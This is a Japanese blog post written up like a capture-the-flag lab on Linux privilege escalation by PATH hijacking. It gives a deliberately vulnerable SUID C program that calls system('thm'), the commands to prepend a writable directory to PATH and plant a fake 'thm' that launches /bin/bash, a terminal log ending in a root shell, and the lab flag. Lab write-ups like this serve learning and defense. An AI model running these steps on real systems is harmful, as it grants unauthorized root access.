1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【セキュリティ】Privilege Escalation: PATH — PATH 環境変数を利用した権限昇格

Last updated at Posted at 2025-11-07

はじめに

Linux における PATH は、コマンドを検索するフォルダのリストを定義する環境変数です。
もしこのリストに「書き込み可能なディレクトリ」が含まれていると、攻撃者はそこに偽の実行ファイルを配置して任意のコードを実行できます。
つまり、PATH ハイジャックは「システムが実行ファイルを探す順序」を利用した権限昇格手法です。


PATH の仕組みを理解する

PATH は、シェルが実行ファイルを検索するディレクトリを指定します。

$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games

例えばコマンド thm を実行すると、Linux は上記フォルダを左から順に探します。
もし /usr/bin/thm が見つからなければ、次に /bin/thm …と続きます。


PATH ハイジャックの条件チェック

攻撃を成立させるには、次の4条件を確認します:

  1. $PATH に含まれるフォルダ一覧
  2. 書き込み可能なフォルダがあるか
  3. $PATH を変更できるか
  4. root 権限で実行されるバイナリ(SUID付き)が PATH を利用しているか

脆弱なサンプルスクリプト

デモでは以下のようなCコードが使われます:

#include<unistd.h>
void main(){
  setuid(0);
  setgid(0);
  system("thm");
}

このプログラムを path としてコンパイルし、SUIDビットをセットします。

gcc path_exp.c -o path -w
chmod u+s path
./path

これにより、path 実行時には root 権限で "thm" コマンドが呼び出されます。


書き込み可能フォルダを探す

次のコマンドでシステム全体を検索します。

find / -writable 2>/dev/null | cut -d "/" -f 2 | sort -u

出力の例:

home
tmp
var
usr
...

ここで /tmp などユーザ書き込み可能なフォルダが見つかれば狙い目です。


PATH を操作する

export を使って /tmp を PATH の先頭に追加します。

export PATH=/tmp:$PATH
echo $PATH

結果:

/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

これで、システムは最初に /tmp 内のファイルを探すようになります。


偽の実行ファイルを作成する

root権限で呼ばれる thm コマンドを偽造します。

cd /tmp
echo "/bin/bash" > thm
chmod 7777 thm

実行権限とSUIDを付与したら、root実行バイナリがこれを優先的に呼び出します。


Exploit — PATH ハイジャックによる昇格

次の手順で root 取得:

cd /home/murdoch
echo "/bin/bash" > thm
chmod +x thm
export PATH=/home/murdoch:$PATH
./test

root シェル獲得!

flag の確認

find / -name flag6.txt 2>/dev/null
/home/matt/flag6.txt

cat /home/matt/flag6.txt
THM-736628929

Flag6: THM-736628929


まとめ

検証項目 状態 説明
書き込み可能PATH /home/murdoch 任意コードを置ける
PATH変更 可能 exportコマンド利用可
SUIDバイナリ /home/murdoch/test root権限実行
偽thm実行 成功 /bin/bash 呼び出しでroot取得
  • PATHは盲点になりやすい権限昇格ベクター。
    特にSUIDプログラムが外部コマンドを呼ぶときは注意。
  • export PATH=/tmp:$PATH のような操作が可能なら要注意。
  • 書き込み可能フォルダを必ずチェック!

Log

$ find / -name flag6.txt 2>/dev/null
/home/matt/flag6.txt

cd /home/murdoch

$ ls -ls

20 -rwsr-xr-x 1 root  root  16712 Jun 20  2021 test
 4 -rw-rw-r-- 1 root  root     86 Jun 20  2021 thm.py

we can find test and thm.py  have root right.

$ ./test
sh: 1: thm: not found
$ echo "/bin/bash" >thm
$ chmod 7777 thm
$ ls -l thm
-rwsrwsrwt 1 karen karen 10 Nov  7 07:19 thm


$ export PATH=/home/murdoch:$PATH
$ echo $PATH
/home/murdoch:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
$ ./test
THM-736628929
$ 

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?